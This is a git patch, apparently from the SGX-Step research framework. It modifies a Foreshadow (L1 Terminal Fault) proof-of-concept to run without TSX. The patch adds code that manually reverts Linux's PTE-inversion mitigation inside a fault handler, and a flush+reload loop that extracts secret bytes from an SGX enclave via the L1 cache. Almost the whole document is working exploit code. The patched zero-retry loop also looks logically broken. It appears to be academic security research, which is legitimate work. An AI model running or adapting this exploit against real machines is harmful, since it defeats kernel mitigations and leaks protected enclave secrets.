From c43669fda91e828fe6eb40209c3373a831aeaf90 Mon Sep 17 00:00:00 2001 From: Jo Van Bulck Date: Wed, 1 May 2019 19:16:48 +0200 Subject: [PATCH] app/foreshadow: proof-of-concept w/o TSX. Host application needs to manually circumvent Linux kernel PTE inversion before/after exception. NOTE: this is a highly unoptimized proof-of-concept, only showcasing the general concept (and suffering from a low success rate). --- app/foreshadow/main.c | 41 ++++++++++++++++++++++++++--------------- libsgxstep/foreshadow.c | 20 ++++++++++++++++++-- 2 files changed, 44 insertions(+), 17 deletions(-) diff --git a/app/foreshadow/main.c b/app/foreshadow/main.c index cefa252..28f929a 100644 --- a/app/foreshadow/main.c +++ b/app/foreshadow/main.c @@ -32,8 +32,9 @@ #include "libsgxstep/foreshadow.h" #include "libsgxstep/cache.h" +#define USE_TSX 1 #define DUMP_SSA 0 -#define ITER_RELOAD 0 +#define ITER_RELOAD 1 #define SECRET_BYTES 64 /* read entire cache line */ #define DEBUG_ENCLAVE 1 @@ -42,20 +43,13 @@ #define ENCLAVE_SO "Enclave/encl.so" #define ENCLAVE_MODE DEBUG_ENCLAVE -void *secret_ptr = NULL; -void *secret_page = NULL; -void *alias_ptr = NULL; -uint64_t *pte_alias_secret = NULL; - -void *ssa_gprsgx = NULL; -void *alias_ssa_gprsgx = NULL; -uint64_t *pte_alias_gprsgx = NULL; +void *secret_ptr = NULL, *secret_page = NULL, *alias_ptr = NULL, *ssa_gprsgx = NULL, *alias_ssa_gprsgx = NULL; +uint64_t *pte_alias = NULL, *pte_alias_gprsgx = NULL; +uint64_t pte_alias_unmapped = 0x0; gprsgx_region_t shadow_gprsgx = {0x00}; -int fault_fired = 0; -int cur_byte = 0; - +int fault_fired = 0, cur_byte = 0; sgx_enclave_id_t eid = 0; /* ================== ATTACKER IRQ/FAULT HANDLERS ================= */ @@ -65,6 +59,10 @@ void fault_handler(int signal) { fault_fired++; + /* remap enclave page, so abort page semantics apply and execution can continue. */ + *pte_alias = MARK_PRESENT(pte_alias_unmapped); + ASSERT( !mprotect( (void*) (((uint64_t) alias_ptr) & ~PFN_MASK), 0x1000, PROT_READ | PROT_WRITE)); + #if DUMP_SSA if ( !(cur_byte = foreshadow_ssa(&shadow_gprsgx, alias_ssa_gprsgx)) ) { @@ -95,6 +93,15 @@ void attacker_config_runtime(void) print_enclave_info(); } +void unmap_alias(void) +{ + /* NOTE: we use mprotect so Linux is aware we unmapped the page and + * delivers the exception to our user space handler, but we revert PTE + * inversion mitgation manually afterwards */ + ASSERT( !mprotect( (void*) (((uint64_t) alias_ptr) & ~PFN_MASK), 0x1000, PROT_NONE )); + *pte_alias = pte_alias_unmapped; +} + void attacker_config_page_table(void) { /* benchmark enclave trigger page and SSA frame addresses */ @@ -108,9 +115,10 @@ void attacker_config_page_table(void) print_pte_adrs(secret_ptr); /* ensure a #PF on trigger accesses through the *alias* mapping */ - ASSERT( pte_alias_secret = remap_page_table_level( alias_ptr, PTE) ); - *pte_alias_secret = MARK_NOT_PRESENT(*pte_alias_secret); - print_pte(pte_alias_secret); + ASSERT( pte_alias = remap_page_table_level( alias_ptr, PTE) ); + pte_alias_unmapped = MARK_NOT_PRESENT(*pte_alias); + unmap_alias(); + print_pte(pte_alias); #if DUMP_SSA ssa_gprsgx = get_enclave_ssa_gprsgx_adrs(); @@ -157,6 +165,9 @@ int main( int argc, char **argv ) info("extracting secret from L1 cache.."); for (i=0; i < SECRET_BYTES; i++) { + #if !USE_TSX + unmap_alias(); + #endif #if ITER_RELOAD SGX_ASSERT( enclave_reload( eid, secret_ptr ) ); #endif diff --git a/libsgxstep/foreshadow.c b/libsgxstep/foreshadow.c index 69c0ccc..421096d 100644 --- a/libsgxstep/foreshadow.c +++ b/libsgxstep/foreshadow.c @@ -30,6 +30,7 @@ #include #include +#define USE_TSX 1 #define SLOT_SIZE 0x1000 #define NUM_SLOTS 256 #define ORACLE_SIZE (SLOT_SIZE * NUM_SLOTS) @@ -58,6 +59,7 @@ static inline int __attribute__((always_inline)) foreshadow_round(void *adrs) void *slot_ptr; int i, fault_fired = 0; + #if USE_TSX /* * NOTE: doing the speculative, secret-dependent access a single time and * then flush+reloading all 256 oracle entries at once seems to give @@ -81,6 +83,20 @@ static inline int __attribute__((always_inline)) foreshadow_round(void *adrs) if (reload( slot_ptr ) < fs_reload_threshold) return i; } + #else + for (i=0; i < NUM_SLOTS; i++) + flush( SLOT_OFFSET( fs_oracle, i ) ); + + /* + * NOTE: proof-of-concept only: calling application should catch exception + * and properly restore access rights. + */ + transient_access(fs_oracle, adrs, SLOT_SIZE); + + for (i=0; i < NUM_SLOTS; i++) + if (reload( SLOT_OFFSET( fs_oracle, i ) ) < fs_reload_threshold) + return i; + #endif return 0; } @@ -93,8 +109,8 @@ int foreshadow(void *adrs) foreshadow_init(); /* Be sceptic about 0x00 bytes to compensate for the bias */ - for(j=0; !(rv = foreshadow_round(adrs)) && - j < FORESHADOW_ZERO_RETRIES; j++, fs_zero_retries++); + for(j=0; (rv==0x00 || rv==0xff) && j < FORESHADOW_ZERO_RETRIES; j++, fs_zero_retries++); + rv = foreshadow_round(adrs); return rv; }